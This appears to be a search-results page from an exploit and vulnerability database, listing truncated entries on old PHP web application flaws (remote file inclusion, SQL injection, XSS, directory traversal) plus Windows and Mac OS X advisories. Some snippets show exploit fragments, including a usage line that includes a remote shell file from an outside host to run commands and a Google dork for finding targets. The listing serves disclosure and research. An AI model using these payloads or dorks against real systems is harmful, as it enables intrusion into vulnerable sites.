3061 matches found
PHPNuke-Clan 4.2.0 - mvcw_conver.php Remote File Inclusion
PHPNuke-Clan 4.2.0 - mvcwconver.php Remote File Inclusion '/ -.- --------------------------oOO------OOo------------------------- | PHPNuke-Clan = v4.2.0 mvcwconver.php Remote File Inclusion | | coded by DNX | ------------------------------------------------------------------ ! Discovered: DNX !...
VWar <= v1.5.0 R15 (mvcw.php) Remote File Inclusion Vulnerability
Exploit for unknown platform in category web applications ================================================================= VWar = v1.5.0 R15 mvcw.php Remote File Inclusion Vulnerability ================================================================= '/ -.-...
JVN#43615794 Yayoi Kaikei improper handling of credential information
Yayoi Kaikei Quick Navigator makes the user log into the vendor's server, and sends the user credentials unencrypted. Impact By monitoring the communication between Quick Navigator and the vendor's server, an attacker can obtain the customer number and the phone number to impersonate the user on...
NetClassifieds (SQL/XSS/Full Path) Multiple Remote Vulnerabilities
Exploit for unknown platform in category web applications ================================================================== NetClassifieds SQL/XSS/Full Path Multiple Remote Vulnerabilities ================================================================== Application: NetClassifieds: -Free Editi...
mxBB Module FAQ & RULES 2.0.0 - Remote File Inclusion
!/usr/bin/php -q -d shortopentag=on cmd: a shell command ls -la Options: -pport: specify a port other than 80 -Pip:port: specify a proxy Example: php '.$argv0.' localhost http://www.shellsite.com/shell.txt ls -la -P1.1.1.1:80 shell.txt:...
CVE-2007-2304
Multiple directory traversal vulnerabilities in Quick and Dirty Blog QDBlog 0.4, and possibly earlier, allow remote attackers to include and execute arbitrary local files via a .. dot dot in the theme parameter to categories.php and other unspecified files...
Sql injection
Multiple SQL injection vulnerabilities in authenticate.php in Quick and Dirty Blog QDBlog 0.4, and possibly earlier, allow remote attackers to execute arbitrary SQL commands via the 1 username and 2 password parameters...
Directory traversal
Multiple directory traversal vulnerabilities in Quick and Dirty Blog QDBlog 0.4, and possibly earlier, allow remote attackers to include and execute arbitrary local files via a .. dot dot in the theme parameter to categories.php and other unspecified files...
CVE-2007-2305
Multiple SQL injection vulnerabilities in authenticate.php in Quick and Dirty Blog QDBlog 0.4, and possibly earlier, allow remote attackers to execute arbitrary SQL commands via the 1 username and 2 password parameters...
CVE-2007-2304
CVE-2007-2304 affects Quick and Dirty Blog (QDBlog) 0.4 (and possibly earlier). The vulnerability is described as multiple directory traversal flaws that allow remote attackers to include and execute arbitrary local files via a .. in the theme parameter to categories.php and other unspecified fil...
CVE-2007-0876
CVE-2007-0876 describes a cross-site scripting (XSS) vulnerability in Quick Digital Image Gallery (Qdig) 1.2.9.3 and devel-20060624. The issue allows remote attackers to inject arbitrary web script or HTML via the Qwd parameter to the top-level URI. Affected software is Qdig; the root cause is XS...
KGB 1.9 - 'sesskglogadmin.php' Local File Inclusion
? //Kacper & str0ke Settings $exploitname = "KGB = 1.9 Remote Code Execution Exploit"; $scriptname = "KGB 1.9"; $scriptsite = "http://www.kgb.xs.com.pl/index.php?tri=2"; $dork = 'inurl:"kgb19"'; // print ' ::::::::: :::::::::: ::: ::: ::::::::::: ::: :+: :+: :+: :+: :+: :+: :+: +:+ +:+ +:+ +:+ +:...
WebText 0.4.5.2 - Remote Code Execution
WebText 0.4.5.2 - Remote Code Execution DEVIL TEAM IRC: irc.milw0rm.com:6667 devilteam http://www.rahim.webd.pl/ ======== Contact: [email protected] cod3d by Kacper -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=...
Microsoft Windows CSRSS HardError Messages Denial of Service Vulnerability
Description Microsoft Windows is prone to a local denial-of-service vulnerability because the operating system fails to handle certain API calls with unexpected parameters. A local unprivileged attacker may exploit this issue by executing a malicious application. Successful exploits will allow...
Apple Mac OS X多个命令执行及拒绝服务漏洞
Apple Mac OS X是苹果家族机器所使用的操作系统。 Apple Mac OS X的多个组件存在漏洞，攻击者可能利用这些漏洞导致执行命令或拒绝服务。 1. CFNetwork的客户端（比如Safari）允许建立匿名的SSL连接，远程非认证的SSL站可以利用这个漏洞使之看起来是认证过的。 2. Flash播放器存在漏洞，远程攻击者可能利用此漏洞执行任意命令。 3. ImageIO在处理畸形的JPEG2000图像时存在缓冲区溢出漏洞，攻击者可能利用此漏洞执行任意指令。 4. Kernel Mach中存在漏洞可以使恶意用户以高权限执行任意命令。 5...
phpECard (functions.php) Remote File Inclusion Exploit
============================================================================================== phpECard functions.php Remote File Inclusion Exploit =============================================================================================== Critical Level : Dangerous Venedor site :...
phpECard <= 2.1.4 (functions.php) Remote File Include Vulnerability
No description provided by source. ============================================================================================== phpECard functions.php Remote File Inclusion Exploit =============================================================================================== Critical Level :...
PHPECard 2.1.4 - functions.php Remote File Inclusion
PHPECard 2.1.4 - functions.php Remote File Inclusion ============================================================================================== phpECard functions.php Remote File Inclusion Exploit ===============================================================================================...
phpAutoMembersArea 3.2.5 ($installed_config_file) Remote File Inclusion
+-------------------------------------------------------------------- + + phpAutoMembersArea 3.2.5 $installedconfigfile Remote File Inclusion + +-------------------------------------------------------------------- + + Affected Software .: phpAutoMembersArea 3.2.5 + Venedor ...........:...